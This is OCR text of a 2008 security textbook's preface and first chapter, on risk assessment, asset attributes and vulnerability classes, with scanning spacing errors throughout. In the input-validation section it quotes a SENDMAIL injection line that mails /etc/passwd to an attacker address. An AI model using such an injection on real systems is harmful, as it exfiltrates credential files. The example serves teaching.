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Preface

Computer and network technol ogies have empowered us and transformed our businessand life
inmany ways. However, our increasi ng dependence on computer and network systemshasalso
exposed us to awide range of cyber security risksinvolving system vulnerabilities and threats
to our assets and transactions on those systems. Computer and network security is concerned
with availability, confidentiality, integrity, non-repudiation, trust, and many other aspects of
computer and network assets which may be compromised by cyber attacks from external
and insider threats through exploiting system vulnerabilities. The protection of computer and
network security must cover prevention to reduce system vulnerabilities, detection to identify
ongoing cyber attacks that break through prevention mechanisms, and response to stop and
control cyber attacks, recover systems and correct exploited system vulnerabilities.

SCOPE AND PURPOSE OF THE BOOK

Thisbook presentsacollection of theresearchwork that | have carried out with my studentsand
research associates in the past ten years to address the following issuesin protecting computer
and network security:

1. Prevention

(@) How to enhance the architecture of computer and network systems for security pro-
tection through the specification and enforcement of digital security policies, with the
following research outcome:

(i) An Asset Protection-Driven Security Architecture (APDSA) which is developed
based on a proactive asset protection-driven paradigm of security protection, in
comparison with the threat-driven security protection paradigm that i s often adopted
in existing security products.

(b) How to manage the admission control, scheduling, reservation and execution of com-
puter and network jobsto assure the service stability and end-to-end delay of those jobs
even under Denia of Service attacks or overwhelming amounts of job demands, with
the following research outcomes:

(i) A Batch Scheduled Admission Control (BSAC) method to reduce the variability of
job waiting time for service stability, in comparison with no admission control in
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(i)

(iii)

the existing best effort service model that is commonly adopted on computers and
networks but is amajor system vulnerability exploited by Denial of Service (DoS)
attacks.

Several job scheduling methods to schedul e the service of jobs on single or multiple
computer/network resources for service stability, including the Weighted Shortest
Processing Time—Adjusted (WSPT-A) method, the Verified Spiral (VS) method, the
Balanced Spira (BS) method, and the Dynamic VS and BS methods, in comparison
with the First-In-First-Out (FIFO) method used in the existing best effort model
which can be exploited by DoS attacks.

Instantaneous Resource reSerVation Protocol (1-RSVP) and a Stable Instantaneous
Resource reSerVation Protocol (SI-RSVP) that are developed to allow job reserva-
tion and service for instantaneous jobs on computer networks for the end-to-end
delay guarantee to those jobs, in comparison with

e the existing Resource reSerVation Protocol (RSVP) based on the Integrated Ser-
vice (InteServ) model to provide the end-to-end delay guarantee for computer
and network jobs with continuous data flows; and

e the existing Differentiated Service (DiffServ) model.

2. Detection

(8 How to achieve the accuracy and earliness of cyber attack detection when monitoring

the observed data from computers and networks that contains much noise due to the
mixed data effects of an attack and ongoing normal use activities, with the following
research outcomes:

(i) the attack norm separation methodology, in comparison with two conventional

methodologies of cyber attack detection: signature recognition and anomaly
detection.

(ii) the cuscore detection modelsthat are used to perform cyber attack detection based

on the attack norm separation methodology, in comparison with

e theArtificial Neural Network (ANN) models based on the signature recognition
methodol ogy;

e the univariate Statistical Process Control (SPC) technique, the Exponential
Weighted Moving Average (EWMA) control charts, and the Markov chain mod-
els of event transitions, which are developed based on the anomaly detection
methodol ogy;

e the multivariate SPC technique, the Chi-Square Distance Monitoring (CSDM)
method based on the anomaly detection methodology.

(iii) the Clustering and Classification Algorithm — Supervised (CCAS) which isascal-

able data mining algorithm with the incremental learning capability to learn sig-
nature patterns of attack data and normal use data, in comparison with

e conventional clustering methods, such as hierarchical clustering,

e conventional data mining algorithms, such as decision trees.
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(b) How todiscover andidentify subtlefeaturesand characteristicsof attack dataand normal
use data which are the basis of defining the accurate attack and normal use data models
to develop attack detection models based on the attack norm separation methodol ogy,
with the following research outcomes:

(i) the statistical methods of extracting the mean, probability distribution and auto-
correlation features of attack data and normal use data;

(ii) themathematical method of extracting thetime-frequency wavel et feature of attack
data and normal use data;

(iii) the statistical and mathematical methods of uncovering attack data characteristics
and normal use data characteristics in the mean, probability distribution, autocor-
relation and wavelet features,

(iv) theillustration and summary of the uncovered attack data characteristics of eleven
representative attacks, including:

o the Apache Resource DoS attack

e the ARP Poison attack

o the Distributed DoS attack

e the Fork Bomb attack

o the FTP Buffer Overflow attack

o the Hardware Keylogger attack

o the Software Keylogger attack

¢ the Remote Dictionary attack

e the Rootkit attack

o the Security Audit attack using Nessus
o the Vulnerability Scan attack using NMAP.

(c) How to select the smallest set of attack data characteristics for monitoring to reduce the
computational overhead of running attack detection models, with thefollowing research
outcome:

(i). theInteger Programming (I1P) formulation of an optimization problem to select the
smallest set of attack data characteristics that produce a unique combination or
vector of attack data characteristics for each attack to allow the unique attack iden-
tification at the lowest computational overhead of running attack detection models.

3. Response

(@) How to correlate the attack data characteristics associated with events that occur at
various spatial and temporal locations in the cause—effect chain of a given attack for
security incident assessment, with the following research outcome:

(i) the attack profiling method of assessing a security incident by spatially and tem-
porally correlating security events and associated attack data characteristics of the
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incident in the cause—effect chain of attack progression and propagation. The attack
profile of agiven attack allowsusing the attack signalsfrom attack detection models,
which monitor attack data characteristics at various spatial and temporal locations
of the cause—effect chain of the attack, to gain a quick, accurate, comprehensive
picture of the attack progression and its propagating effects for security incident
assessment. The quick, accurate and comprehensive assessment of a security inci-
dent is the key in planning the response to stop and control an attack, recover the
affected computer and network system, and correct exploited system vulnerabilities
for preventing the future occurrence of the attack.

The comparison of the new research outcomes with the existing methods points out the draw-
backs of the existing methods that the new research outcomes have overcome.

This book contains various design, modeling and analytical methods which can be used
by researchers to investigate the security of computer and network systems. This book also
describes new design principles and agorithms, along with new knowledge about computer
and network behavior under attack and normal use conditions, which can be used by engineers
and practitioners to build secure computer and network systems or enhance security practice.
Known cyber attacks and existing security protection methods are reviewed and analyzed to
give the background and point out the need to develop the new security protection methods
presented in the book. Statistical and mathematical materialsfor analysis, modeling and design
of the new methods are provided.

ORGANIZATION OF THE BOOK

This book is divided into seven parts. Part |, including Chapters 1 and 2, gives an overview of
computer and network security. Chapter 1 traces cyber security risksto three elements: assets,
vulnerabilities, and threats, which must coexist to pose a security risk. The three elements of
security risks are defined with specific examples. An asset risk framework is also defined to
capture the security risk elements along the cause—effect chain of activities, state changes and
performance changes that occur in acyber attack and the resulting security incident. Chapter 2
describes three important aspects of protecting computers and networks against security risks:
prevention, detection, and response, and gives an overview of existing methods in the three
areas of security protection.

Part 11, including Chapters 3-6, presents the research outcomes for attack prevention and
Quality of Service (QoS) assurance. As more business transactions move online, it has be-
come imperative to provide the QoS assurance on the Internet which does not currently exist.
Specifically, Chapter 3 describesthe Asset Protection-Driven Security Architectureto enhance
computer and network security through the specification and enforcement of digital security
policies. Digital security policiesare systematically defined according totheasset, vulnerability
and threat elements of security risks. Chapter 4 addresses job admission control, and describes
the development and testing of the Batch Scheduled Admission Control (BSAC) method.
Chapter 5 presents several job scheduling methods developed to achieve service stability by
minimizing the variance of job waiting times. Chapter 6 addresses the lack of job reservation
and service protocol to provide the end-to-end delay guarantee for instantaneous computer
and network jobs (e.g., jobs generated by email and web browsing applications) in previous
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work, although there exists RSV P for the service guarantee of computer and network jobswith
continuous data flows (e.g., for the video streaming application). The development and testing
of the Instantaneous Resource reSerVation Protocol (I-RSVP) and the Stable Instantaneous
Resource reSerVation Protocol (SI-RSVP) are described in Chapter 6.

Chapter 7 in Part 111 describesthe procedure of collecting the Windows performance objects
data under eleven attack conditions and two normal use conditions of text editing and web
browsing. The collected datais used for training and testing the detection models described in
Parts 1V, V and VI. Chapters 8-11 in Part |11 describe the statistical and mathematical meth-
ods of extracting the mean, probability distribution, autocorrelation and wavelet features of
attack data and normal use data, respectively. Chapter 8 focuses on the simple mean feature
of attack data and normal use data and the mean shift attack data characteristics. The wavelet
feature described in Chapter 11 and the autocorrel ation feature described in Chapter 10 reveal
relations of data observations over time. The autocorrelation feature focuses on the general
autocorrel ation aspect of time series data, whereasthe wavel et feature focuses on special forms
of time-frequency data patterns. Both the wavelet feature in Chapter 11 and the probability
distribution feature described in Chapter 9 are linked to specific data patterns of spike, random
fluctuation, step change, steady change and sine—cosine wave with noise which are observedin
the data. The distribution feature describes the general pattern of the data, whereas the wavel et
featurereveal stimelocations and frequencies of those data patterns. The new knowledge about
the data characteristics of attacks and normal use activities, which is not availablein previous
literature, is reported. For example, it is discovered that the mgjority of the data variables on
computers and networks have some degree of autocorrelation. Moreover, the majority of the
data variables on computers and networks follow either a skewed distribution or amultimodal
distribution. Such information is important in modeling data of computer and network sys-
tems and building computer and network models for simulation and analysis. The attack data
characteristics in the mean, probability distribution, autocorrelation and wavel et features for
eleven representative attacks, which are revealed using the statistical and mathematical meth-
ods described in Chapters 8-11, are also summarized with anillustration of specific examples.
Both the similarity and the difference between the attacks are reveal ed.

Part IV demonstrates the signature recognition methodol ogy through the application of two
techniques: (1) Clustering and Classification algorithm — Supervised (CCAS) in Chapter 12;
and (2) Artificial Neural Networks (ANN) in Chapter 13, to cyber attack detection. The per-
formance problem of these techniques in detection accuracy and earliness is illustrated with
adiscussion that points out their lack of handling the mixed attack and normal use data and
dealing with subtle features and characteristics of attack data and normal use data.

Chapters 14 and 15 in Part V present the development and testing of the univariate and
multivariate SPC techniquesincluding the EWMA control charts and the Chi-Square Distance
Monitoring (CSDM) method, as well as the Markov chain models of event transitions, al of
which are devel oped based on the anomaly detection methodology for cyber attack detection.
The anomaly detection techniques share with the signature recognition techniques in Part
IV the same performance problem in detection accuracy and earliness and the drawback in
lack of handling the mixed attack and normal use data and dealing with subtle features and
characteristics of attack data and normal use data.

After clearly illustrating the performance problem of two conventional methodologies for
cyber attack detection, the new attack norm separation methodol ogy, which has been devel oped
to overcome the performance problem of the two conventional methodologies, is presented in
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Part V1. The attack norm separation methodol ogy requires the definition of attack datamodels
and normal use data models to deal with the mixed effect of attack data and normal use data,
by first using the normal use data model to cancel the effect of normal use data in the data
mixture, and then using the attack data model to identify the presence of a given attack in the
residual data that is left after canceling the effect of normal use data. Chapter 16 in Part VI
describes the statistical and mathematical methods of defining attack data models and normal
use data models based on the characteristics of attack data and normal use data. Chapter 17
presents the cuscore detection modelswhich are used to implement the attack norm separation
methodology. For each combination of a given attack and a given normal use condition, a
cuscore detection model is developed using the attack data model and the normal use data
model. Chapter 17 shows the superior detection performance of the cuscore detection models
for attack norm separation compared to that of the EWMA control chartsfor anomaly detection
and that of the ANN technique for signature recognition.

Part VIl focuses on security incident assessment. Specifically, Chapter 18 first addresses
the selection of an optimal set of attack data characteristics to minimize the computational
overhead of monitoring attacks that occur with various normal use conditions. An Integer
Programming (1P) problem is formulated to solve this optimization problem. Chapter 18 then
presents the attack profiling method of spatialy and temporally correlating the selected at-
tack data characteristics along the cause—€ffect chain of a given attack, and mapping those
attack data characteristics to the events in the cause—effect chain of the attack for security
incident assessment.
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Part |

An Overview of Computer and Network
Security

Computer and network systems have given us unlimited opportunitiesto reduce costs, improve
efficiency, and increase revenues, as demonstrated by an expanding number of computer and
network applications. Unfortunately, our dependence on computer and network systems has
also exposed usto new risks which threaten the security of computer and network systemsand
present new challenges for protecting our assets and information on computer and network
systems.

This part has two chapters. Chapter 1 analyzes security risks of computer and network
systems by examining three elements of security risks: assets, vulnerabilities and threats.
Chapter 2 describes three areas of protecting computer and network security: prevention,
detection, and response. Chapter 2 also outlines various security protection methods covered
in Parts [1-V1I of this book.
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© 2008 John Wiley & Sons, Ltd






1

Assets, vulnerabilities and threats of
computer and network systems

Using therisk assessment method, this chapter analyzes security risks of computer and network
systems by examining three elements of security risks: assets, vulnerabilities and threats. An
asset risk framework is developed to define the roles of computer and network assets, system
vulnerabilities, and external and insider threats in the cause—effect chain of acyber attack and
the resulting security incident.

1.1 RISK ASSESSMENT

In general, arisk exists when there is a possibility of athreat to exploit the vulnerability of a
valuable asset [1-3]. That is, three elements of arisk are: asset, vulnerability and threat. The
value of as asset makes it a target for an attacker. The vulnerability of an asset presents the
opportunity of apossible asset damage or loss. A threat isa potential attack which can exploit
avulnerability to attack an asset.

For example, a network interface is a network asset on a computer and network system.
The network interface has an inherent vulnerability due to its limited bandwidth capacity. In
athreat of a Distributed Denia of Service (DDoS) attack, an attacker can first compromise
a number of computers on the Internet and then instructs these victim computers to send
large amounts of network traffic data to the target computer al at once and thus flood the
network interface of the target computer with an attacker’s traffic data. The constant arrival
of large amounts of traffic data launched by the attack at the target computer means that
there is no bandwidth capacity of the target computer available to handle legitimate users
traffic data, thus denying network services to legitimate users. In this attack, the vulnerability
of the limited bandwidth capacity is exploited by the attacker who uses up all the available
bandwidth capacity with the attacker’s traffic data.

An asset value can be assigned to measure the relative importance of an asset [3]. For
example, both a password file and a Microsoft Word help file are information storage assets
on a computer and network system. The password file typically has a higher asset value than
the help file because of the importance of passwords. A vulnerability value can be assigned to
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indicate the severity of avulnerability which isrelated to the severity of asset damage or loss
due to the vulnerability. For example, a system administrator account with a default password
on acomputer isavulnerability whose exploitation could produce more severe damage or loss
of assets on the computer than the vulnerability of aregular user account with an easy-to-guess
password. A threat value determines the likelihood of athreat which depends on many factors
such as purpose (e.g., malicious vs. non-malicious), means (e.g., gaining access vs. denial of
service), and so on. For example, one means of threat may be easier to execute and thus more
likely to occur than another means of threat.

A higher asset value, a higher vulnerability value, and/or a higher threat value lead to a
higher risk value. To assess security risks of acomputer and network system, the value of each
asset is evaluated for the importance of the asset, and vulnerabilities and threats which may
cause damage or loss of asset values are also examined. An asset may have more than one
vulnerability. A vulnerability may be exploitable in multiple ways through multiple forms of
applicablethreats. To assessthe security risks of acomputer and network system, thefollowing
steps are recommended:

1. Rank all assets on the computer and network system by asset value.

2. Rank al vulnerabilities of each asset by vulnerability value.

3. Rank all threats applicable to each vulnerability by threat value.

4. Determine arisk value for each asset and each vulnerahility of the asset as follows[3]:

Risk = Asset Value x Vulnerability Value x > Threat Value
all applicable threats

5. Examine risk values for multiple levels of assets, from unit-level assets such as CPU and
datafiles to system-level assets such as computers and networks, considering:

(a) interactions of assets at the same level and between levels:
(b) cascading or propagating effects of damage or loss at the same level and between levels;

(c) possibilities of threats with multiple steps to exploit multiple vulnerabilities and attack
multiple assets.

The results of the risk assessment can be useful to determine:

o appropriate levels of protection for various security risk levels;
e |ocations of protection for assets of concern;

e methods of protection for threats and vulnerabilities of concern.

Sections1.2,1.3and 1.4 describeassets, vulnerabilitiesand threatsin moredetail s, respectively.

1.2 ASSETSAND ASSET ATTRIBUTES

This section describes three types of computer and network assets. resources, processes and
users, and defines their activity, state and performance attributes.
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User
(activity)
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— Input—p> (performance)
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request/receive service

Resource
(state)

Figure1l.1 The cause—ffect chain of activity, state change, and performance change in the resource—
process-user interaction.

1.2.1 Resource, process and user assets and their interactions

There are three types of assets on a computer and network system: resources, processes and
users [4, 5]. A user calls for a process which requests and receives service from a resource.
The resource—process—user interaction isillustrated in Figure 1.1.

Table 1.1 gives examples of resource, process and user assets on a computer and network
system. There is a hierarchy of resources on a computer and network system from the unit
level to the system level, such as processing resources of CPU, processes and threads at the
unit level, storage resources of memory, hard drive and files at the unit level, communica
tion resources of network interface and ports at the unit-level, as well as computer hosts,
networks, software applications, and the system at the system level. In genera, a resource
at the unit level serves one of three functions: information processing, information storage,
and information communication. A resource at the system level typically serves more than
one function. Since a resource often depends on other related resources at the same level or
alower level to provide service, resources are intertwined across the same level and between
levels on a computer and network system. For example, an application at the system level
depends on processes, threads, and CPU at the unit level to process information. A data file
as a software asset at the unit level relies on a hard drive as a hardware asset at the unit
level to store information. Since resources form a hierarchy on a computer and network sys-
tems, processes and users interacting with these resources also form their own hierarchies
accordingly.
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Table1.1 Examplesof computer and network assets

Type of assets Examples of assets

Storage resource Data at rest (datafiles, program files, .. .)
Datain memory (datain cache, datain queue, sectionsin virtual
memory, processtable, ...)
Permanent storage devices (hard disk, CD/DVD drive, ...)
Temporary storage devices (memory disk, ...)

Processing resource Processes, threats, . ..
Programs
Processing devices (CPU, processor, .. .)

Communication resource Datain transit
Buses
Ports
Communication devices (network interface, modem, network cable,
printer, terminal, keyboard, mouse, speaker, camera, .. .)

System resource Computer, router, server, client, ...
Network
Computer and network system

Process Processes (create, remove, open, read, change, close, send, receive,
process, audit, login, logout, . . .)
Applications (word processing, email, web browsing, filetransfer, .. .)

User Provider, consumer, administrator, developer, . ..

1.2.2 Cause—ffect chain of activity, state and performance

A resource hasacertain state at agiven time. For cyber security, we are concerned mainly with
the availability, confidentiality and integrity/non-repudiation aspects of aresource state [1, 2,
4, 5]. The availability state of a resource indicates how much of the resource is available to
serve a process. For example, 30% of a memory section may be used, making 70% available
for storing additional information. The confidentiality state of a resource measures how well
the resource keepsinformation which is stored, processed or transmitted by the resource from
an unauthorized leak. For example, the confidentiality state of an unencrypted email message,
which is an asset being transmitted over a network, is low. The integrity state of a resource
indicates how well the resource executesits service correctly. For example, if the routing table
of arouter is corrupted, the integrity state of the routing table as an asset is low because it
contains erroneous routing information, which leads to the incorrect routing of network data.
Serving a process changes the avail ability aspect and possibly other aspects of aresource state
because the capacity of the resource used by the process|eaves|ess resource capacity available
to other processes.

The performance of a process depends on the state of the resource serving the process.
Three primitive aspects of the process performance are timeliness, accuracy, and precision [1,
2, 4, 5]. Timeliness measures the time to produce the output of a process. Accuracy measures
the correctness of the output and thus the quality of the output. Precision measures the amount
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Table1.2 Examplesof performance measures

Primitive aspects
of performance Measuresin practical use

Timeliness Response time: the elapsed time from when the input of a processis

entered to when the output of the processis received

Delay: the elapsed time between the emission of the first bit of data at the
source and its reception at the destination

Jitter: the variation of delay since delays in transmitting the same amount
of data at different times from the same source to the same destination
may vary, depending on the availability of the resources along the
transmission path at agiven time

Accuracy Error rate: the frequency of erroneous bits between two points of data
transmission

Precision Loss rate: the number of bitslost between two points of datatransmission
since routers may drop data packets when their queues of holding data
packets are full

Timeliness and precision Data rate: the amount of data processed within a given time, such as the
rate of encoding multimedia data
Bandwidth: the amount of data transmitted within a given timein unit of
bits per second or bps

of output and thus the quantity of the output. The three primitive aspects of performance can be
measured individually or in combination. For example, the response time, which isthe elapsed
timefrom when theinput of aprocessisentered to when the output of the processisreceived, is
ameasure of timeliness. The data transmission rate (e.g., bandwidth) measures the time taken
to transmit a given amount of data, ametric reflecting both timeliness and precision. Table 1.2
gives some examples of performance measures in practical use for a computer and network
system and the primitive aspect(s) of performance they reflect.

Different computer and network applications usualy have different performance require-
ments. For example, some applications such as email come with no hard timeliness require-
ments. Others, such asaudio broadcasting, video streaming, and | Ptelephony, aretime-sensitive
and place strict timeliness requirements. Table 1.3 gives the performance requirementsfor two
computer and network applications: web browsing and audio broadcasting, by considering
human perceptual and cognitive abilities (e.g., human perception of delay and error rate for
text, audio and visual data, and human attention span), technology capacities of computers and
networks(e.g., link and router capacitiesin bandwidth), and characteristicsof computer and net-
work applications(e.g., real timevs. not real time, and the symmetry of processinput and output
in data amount) [4]. Performance requirements of some other applications can befoundin [4].

Table 1.3 Performance requirements of web browsing and audio broadcasting

Application Responsetime  Delay Jitter Bandwidth Lossrate Error rate

Web browsing <5s N/A N/A 30.5 Kbps Zero Zero
Audio broadcasting <5s <150ms <100ms 60-80Kbps <01% <0.1%




8 Assets, vulner abilities and threats

Web browsing is not a real-time application, and the input and output of aweb request are
usually asymmetric in that the amount of output data (e.g., a downloaded PDF file) is usually
greater than the amount of input data (e.g., the name of the file in the web request). Audio
broadcasting is a real-time application with the one-way communication and the asymmetric
pair of the input and the output. The response time of both applications is required to be
less than 5 seconds. If the response time of text and other data applications is greater than 5
seconds, it becomes unacceptable to human users[4]. At 5 seconds, the response time may still
be considered tolerable. Web browsing data does not have alarge bandwidth requirement, and
such data has data rate and bandwidth requirements less than 30.5 Kbps. The web browsing
application has the loss rate and error rate requirements of zero for the zero tolerance of data
loss and error. When the delay of audio datais greater than 250 ms, the audio speech becomes
annoying but is still comprehensible [4, 6]. When the delay of audio data reaches 100 ms,
the audio speech is not perceptibly different from real speech [4, 6]. Moreover, audio datais
acceptable for most users when the delay is between 0 ms and 150 ms, is still acceptable with
impact when the delay is between 150 ms and 400 ms, and is unacceptable when the delay
is greater than 400 ms [4, 6, 7]. Hence, the delay requirement of audio broadcasting is set
to less than 150 msin Table 1.3. Asindicated in [7], with typical computers as end systems,
jitter—the variation of the network delay—should generally not exceed 100 ms for CD-quality
compressed sound and 400 msfor tel ephone-quality speech. For multimedia applicationswith
a strong delay bound, such as virtual reality applications, jitter should not exceed 20-30 ms.
Hence, the jitter of audio broadcasting to set to less than 100 msin Table 1.3. Table 1.3 also
showsthat the datarate of audio broadcasting datais generally 56-64 Kbpswith the bandwidth
requirement of 60-80 Kbps. Human users are sensitive to the loss of audio data. Asindicated
in [7], the bit error rate of a telephone-quality audio stream should be lower than 10~2, and
the bit rate error rate of a CD-quality audio stream should be lower than 10~2 in the case of an
uncompressed format and lower than 10~ in the case of a compressed format. Hence, Table
1.3 shows the loss rate and the error rate requirements of audio broadcasting data to be less
than 0.1% to assure the intelligibility of audio data.

During the resource—process-user interaction as shown in Figure 1.1, a process, which is
called up by a user’s activity, drives the change of a resource state which in turn determines
the performance of the process, producing a cause—effect chain of activity, state change and
performance change in the resource—process—user interaction. The cause—effect chain of activ-
ity, state change and performance change at one resource can spread to other related resources
due to the dependence of those resources and dependency in process and user hierarchies.
As aresult, there is a cause—effect chain or network from the resource of the activity—state—
performance originto related resources with activities, state changes and performance changes
along the path of propagation on a computer and network system.

1.2.3 Asset attributes

Each asset has attributes which describe elements and properties (e.g., identity and config-
uration) of the asset as well as the interaction of this asset with other related assets. Figure
1.2 shows the main categories of asset attributes for resource, process, and user assets. Dif-
ferent types of assets have different elements and properties, and thus have different asset
attributes.
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For resource and process assets, asset attributes shown in Figure 1.2 fall into the following
categories:

e |dentity
e Elements of the asset

Configuration
Metadata

Accounting (for process assets only)

Other related assets involved in the resource—process-user interaction and dependency in
resource, process and user hierarchies.

A resource asset has the element of the resource entity itself only. However, a process asset
has the following elements:

® process entity itself;

e input to the process;

e output from the process,

e datain processing.

Take an example of a‘change’ process on adatafile. This process has the input specifying the

name of a datafile, and the output being the data file with the changed content.
Since a process interacts with the following assets:

e provider/owner;

® host system;

® user;

e resource (as output);
e calling process,

® source

these assets and their attributes are al so the attributes of the process. These links of the process
asset to other related assets produce interactions of the assetsin the cause—effect propagation
chain. A resource asset has the following related assets:

e provider/owner;
® host system;

® user.
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RESOURCES AT THE UNIT LEVEL:

‘ Storage Resources

‘ Processing Resources ‘

‘ Communication Resources

RESOURCES AT THESYSTEM LEVEL:

[ Hosts |

‘ Networks ‘

‘ Enterprise ‘

PROCESSES AT THE UNIT LEVEL:

‘ Create ‘

‘ Remove

‘ Open/read

‘ Change

‘ Close

‘ Send

‘ Receive

‘ Process

‘ Audit

A

The configuration attributes of an asset carry various values of asset configuration concerning
activity, state and performance of the asset, including mode, privileges and sensitivity, protec-
tion in authentication/authorization, confidentiality and integrity/non-repudiation, availability,
system environment and operation, performance, and accounting, as shown in Figure 1.2. The
metadata attributes give the description of the asset attributes, such asidentity, format, seman-
tics and privileges, which serve as the index information in searching for and referring to the
asset. The accounting attributes, which are similar to the configuration attributes as shown in
Figure 1.2, record processes taking place, resources and users involved in processes, result-
ing state changes and performance changes. Asset attributes in the accounting category are
associated with process resources only because it is assumed that accounting istriggered by a

ATTRIBUTES

Identity

Entity

Configuration

Metadata

Other related assets
Provider/owner
User
Host system

ATTRIBUTES:

Identity

Entity

Input

Output (Resource)
Data in processing
Configuration
Metadata

Provider/owner
User

Resource

Host system
Calling process

Accounting
Other relatew\‘

PROCESSES AT THE SYSTEM LEVEL: Source
‘ Login ‘
‘ Download ‘
USERS:
ATTRIBUTES:
‘ System administrator ‘ o Identity
e  Entity
‘ Programmer ‘ e Privileges and sensitivity
| ¢« Credentials
*  Metadata

Figurel.2 Asset attributes.

Mode

Privileges and sensitivity
Protection

e Authentication/authorization
e  Confidentiality

e Integrity/non-repudiation
Availability (Allocated Capacity)
e  Storage

. Entity

. Input

. Output

. Data in processing
e  Processing

e Communication

e  Backup

e  System
Environment/operation

e  Location

e Mobility

e Power

e  Exposure

e Cost, ..

Performance

e Priority

e  Timeliness

e  Precision

e Accuracy

Accounting

process, that is, accounting takes place when a process is executed.
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Attributes of user assets include:

e identity;

e user entity;

e privileges and sensitivity;

e credentials (e.g., citizenship, background, skills, etc.);
e metadata

Asset attributes are defined in ahierarchical manner as shown in Figure 1.2. Take an example
of the following attribute for a process from Figure 1.2:

PROCESS
Configuration
Availability (Allocated Capacity)
Storage
Input

which can also be represented in the form of
PROCESS\ Configuration\ Avail ability\ Storage\ I nput

This attribute denotes the allocated available storage configured for holding the input of the
process. The definition of this attribute starts with the highest-level attribute category of con-
figuration, followed by the availability aspect of configuration, then the storage aspect of
availability, and finally the input part of storage at the lowest level.

1.3 VULNERABILITIES

Each computer or network asset has alimited service capacity, an inherent vulnerability which
exposes them to denia of service attacks through flooding. Moreover, most system and ap-
plication software, which enables users to operate computers and networks, is large in size
and complex in nature. Large-scale, complex software presents considerable challenges in
specification, design, implementation, testing, configuration, and operation management. As
aresult, system software and application software is often released without being fully tested
and evaluated as free from errors, due to the complexity of large-scale software. Errors can
also be made by system administrators when they configure software.

Symantec Corporation has a software product, called Vulnerability Assessment (VA),
which uses host-based audits to check the security settings of a host computer for vulner-
abilities or uses a network scanner to check remote computers for vulnerabilities. The VA
defines the following vulnerability classes to indicate the types of errors which produce the
vulnerabilities [8]:

e boundary condition error;

e access validation error;



12 Assets, vulner abilities and threats

origin validation error;

e input validation error;

o failure to handle exceptional conditions;
® race condition error;

e serialization error;

e atomicity error;

® environment error;

e configuration error;

® design error;

e unknown.

These types of vulnerabilities are described in the following sections. This classification of
vulnerabilitiesis similar to those presented in [9, 10]. Vulnerabilities commonly found in the
UNIX operating system are described in [11].

1.3.1 Boundary condition error

A boundary condition error occurs when a process attempts to access (e.g., read or write)
beyond a valid address boundary. For example, the boundary condition error occurs during a
buffer overflow attack [12] in which aprocesswrites an attacker’sinput containing attack code
into abuffer which hasitslimited memory allocation for holding theinput. Becausetheinput is
longer than the allocated memory space of the buffer, the input overflows the buffer, resulting
in a part of the input containing attack code being written beyond the address boundary of
the buffer into the adjacent memory area and eventually being executed. Buffer overflowing
has been a common means of gaining access to a computer. The boundary condition error is
mostly attributed to coding faults because the program of the process does not have a code to
check and limit the length of the process input within the maximum length which is used to
allocate the memory space.

1.3.2 Accessvalidation error and origin validation error

Anaccessvalidation error occurswhen asystemfailsto validateasubject’ sproper authorization
before performing privileged actions on the behalf of the subject. An origin validation error
occurs when a system fails to validate a subject’s authentication before performing privileged
actions on the behalf of the subject. Authorization is about granting access rights based on
a subject’s authentication. Authentication is about verifying that a user is indeed who or
what the user claims to be. Username and password are commonly used together for user
authentication.
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1.3.3 Input validation error

An input validation error occurs when the system fails to validate an untrusted input. Inputs
or parameters passed to a function call should be checked for the number, order, data types,
values, ranges, access rights, and consistency of these parameters. In a SENDMAIL attack,
the SENDMAIL program in UNIX alows an attacker to put specia characters along with a
shell command as follows:

mail from: ‘|/bin/mail attacker@aaa.com < /etc/passwd’

resulting in the password file sent to the attacker.

1.3.4 Failureto handle exceptional conditions

Thefailureto handle exceptional conditionsis caused by lack of code to handle an unexpected
condition. This error, along with the access validation error, origin validation error, and input
validation error, is attributed to coding faults for not including a code to check a subject’'s
proper authorization and authentication, a processinput or a system condition.

1.3.5 Synchronization errors

Race condition error, serialization error and atomicity error are synchronization errors. In a
race condition error, privileged actions race to execute in a time window between a series
of two consecutive operations. The privileged actions would not be allowed before the first
operation or after the second operation. A serialization error occurs when there is an improper
or inadequate serialization of operations. An atomicity error occurs when the atomic execution
of two operations is not maintained, leaving partially modified data or access to partialy
modified data.

1.3.6 Environment error

Du and Mathur [13] state that most security errors are attributed to environment errors which
involve inappropriate i nteractions between a program and its environment due to coding faults
or a user's malicious perturbation on the environment, and result in the program’s failure
to handle such an interaction. The environment of a program includes any elements (e.g., a
global variable, files and network) which are external to the program’s code and data space.
For example, the attributes of a file, including its ownership, name, location and content,
are parts of the environment [13]. Du and Mathur [13] state that programmers often make
assumptions about the environment in which their program runs. Since the environment is
shared by many subjects, assumptions that one subject makes about the environment may not
holdif the environment is perturbed by other subjects, e.g., malicioususers. The environmental
perturbation can be introduced indirectly through user input, environment variable, file system
input, network input and process input, or directly through file system, process and network.
The buffer overflow attack involves an environment error.
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1.3.7 Configuration error

A configuration error occurs when an inappropriate system configuration leaves the system
insecure, e.g., a system administrator account with a default password, objects installed with
inappropriate access permissions, and utilities installed in the wrong location or with inappro-
priate set-up parameters.

1.3.8 Design error

A design error is caused by faultsin system design or specification. For example, in a Trans-
mission Control Protocol (TCP) Reset attack, an attacker listens for connections to a victim
computer. When a client attempts to connect to the victim, the attacker sees it and sends a
TCP reset packet to the victim which is spoofed to appear to come from the client. By doing
so the attacker exploits a TCP design fault to tear down any attempted connections to the
victim.

A magjor design fault of computers and networks is the best effort service model [14-19]
which computers and networks commonly use to manage their services. Take an example of a
router which plays a critical role in data transmissions on the Internet. A router receives data
packets from various source addresses on the Internet at the input port(s) and sends out data
packets to their destination addresses on the Internet through the output port(s). Because an
output port of arouter has alimited bandwidth of data transmission, the router typically uses
a buffer or queue to hold incoming data packets when the output port is busy in transmitting
other data packets. Most routers on the Internet operate based on the best effort service model
which has no admission control and uses the First-In-First-Out (FIFO) scheduling method to
determine the order of serving data packets or sorting data packetsin the queue. No admission
control means that all incoming data packets are admitted into the queue which has alimited
capacity. If the queueisfull, incoming data packets are dropped by therouter. That is, therouter
admits all incoming data packets until the queue is full, and then the router starts dropping
data packets. Using the FIFO scheduling method, a data packet arriving at the queue first
is put at the front of the queue and is taken out of the queue first for the service of data
transmission. Hence, the FIFO scheduling method serves data packetsin order of their arrival
timeswithout considering their special servicerequirements, e.g., their delay requirementsand
their priorities. For example, adata packet with a stringent delay requirement or ahigh service
priority but arriving later than some other data packetsis served after those other data packets.
Hence, FIFO offers no service differentiation among data packets or other computer/network
jobs with different service priorities.

No admission control and the FIFO scheduling method produce a vulnerability which has
been exploited by DDoS attacks. InaDDoS attack on atarget router, an attacker is ableto send
alarge number of data packets within a short time to fill up the queue of the router and use
up all the data transmission capacity of the router, causing data packets from legitimate users
